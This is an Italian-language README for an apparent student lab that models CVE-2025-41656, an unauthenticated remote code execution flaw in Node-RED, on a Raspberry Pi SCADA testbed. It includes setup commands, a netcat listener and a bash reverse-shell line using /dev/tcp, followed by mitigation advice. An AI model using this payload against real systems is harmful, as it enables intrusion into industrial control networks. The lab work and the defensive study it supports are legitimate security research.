CVE-2025-41656

Riepilogo del progetto

Questo progetto serve a modellare CVE-2025-41656, una vulnerabilità di esecuzione remota di codice non autenticata per NodeRED. Per modellare questa vulnerabilità, abbiamo creato un sistema SCADA di piccolo formato con un Raspberry Pi, un attuatore e un sensore. Il Raspberry Pi contiene un container NodeRED e un container OpenPLC che comunicano tra loro tramite Modbus TCP per controllare l'attuatore. Questo è uno script proof of concept in Python per eseguire l'attacco CVE-2025-41656. L'obiettivo è creare con successo un PoC e trovare rimedi per proteggere il sistema.

Per iniziare

Il laboratorio includerà i seguenti componenti

• Rasberry Pi 3b+
• File Docker compose con i container NodeRED e OpenPLC
• Un attuatore
• Un sensore
• Un dispositivo motorizzato controllato dall'attuatore
• Nota: la configurazione sarà diversa a seconda dell'hardware che hai. Adattala di conseguenza.

Installazione del software

git clone [email protected]:wallyschag/CVE-2025-41656.git
cd CVE-2025-41656
git clone https://github.com/thiagoralves/OpenPLC_v3.git

Configurazione Docker

rm OpenPLC_v3/Dockerfile && cp Dockerfile_WiringPi OpenPLC_v3/Dockerfile
docker compose up --build -d

• Verifica che i container Docker e il bridge di rete siano attivi e in esecuzione

docker container ls
docker network inspect csci587-final-project_scadanet

• Entrambi i container Docker dovrebbero essere attivi.
• Assicurati anche che entrambi i container siano connessi alla rete e abbiano un indirizzo IP assegnato.

L'exploit

• Sulla macchina host esegui nc -lvnp 1234
• Sostituisci NODE_RED_IP e NODE_RED_PORT con l'indirizzo IP e la porta (1880) del tuo servizio NodeRED in cve_2025_41656.py.
• All'interno di cve_2025_41656, modifica l'indirizzo IP nella riga "command": "bash -c 'bash -i >& /dev/tcp/192.168.4.223/1234 0>&1'", con l'indirizzo IP della macchina da cui stai lanciando l'exploit.

python3 cve_2025_41656.py

• Ora dovresti avere una reverse shell sul container NodeRED.

Strategie di mitigazione

• Implementa TLS e un meccanismo di autenticazione per NodeRED.
• Segmenta le reti SCADA per prevenire l'accesso non autorizzato a NodeRED.
• Monitora le reti che contengono NodeRED con sistemi IDS/IPS cercando traffico di reverse shell.